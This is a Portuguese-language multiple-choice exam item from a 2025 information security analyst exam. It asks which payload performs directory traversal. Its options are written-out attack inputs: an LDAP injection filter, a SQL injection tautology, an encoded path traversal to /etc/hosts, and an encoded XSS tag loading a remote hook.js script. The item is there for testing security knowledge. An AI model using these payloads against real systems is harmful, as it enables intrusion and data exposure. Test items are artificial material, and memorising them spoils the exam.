Imagem de fundo

Durante a realização de testes de invasão em uma aplicação Web, um analista encontrou u...

Ano: 2025
Banca: Fundação Cearense de Pesquisa e Cultura - FCPC
Prova: FCPC - UFCE - Analista de Tecnologia da Informação - Área Segurança da Informação - 2025

Durante a realização de testes de invasão em uma aplicação Web, um analista encontrou um vetor de ataque para uma travessia de diretórios. Marque a alternativa que possui um payload válido para este ataque.

A

(&(username=p0wn3d)(password=Pa$$w0rd))

B

SELECT * FROM tbl_user WHERE username = '' or 1=1--#

C

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/hosts

D

blablabla%3Cscript%20src%3D%22https%3A%2F%2Fsites3gur0.foo%2Fhook.js%22%3E%3C%2Fscript%3E

Comentários Marcadores Anotações (0) Estatísticas Reportar erro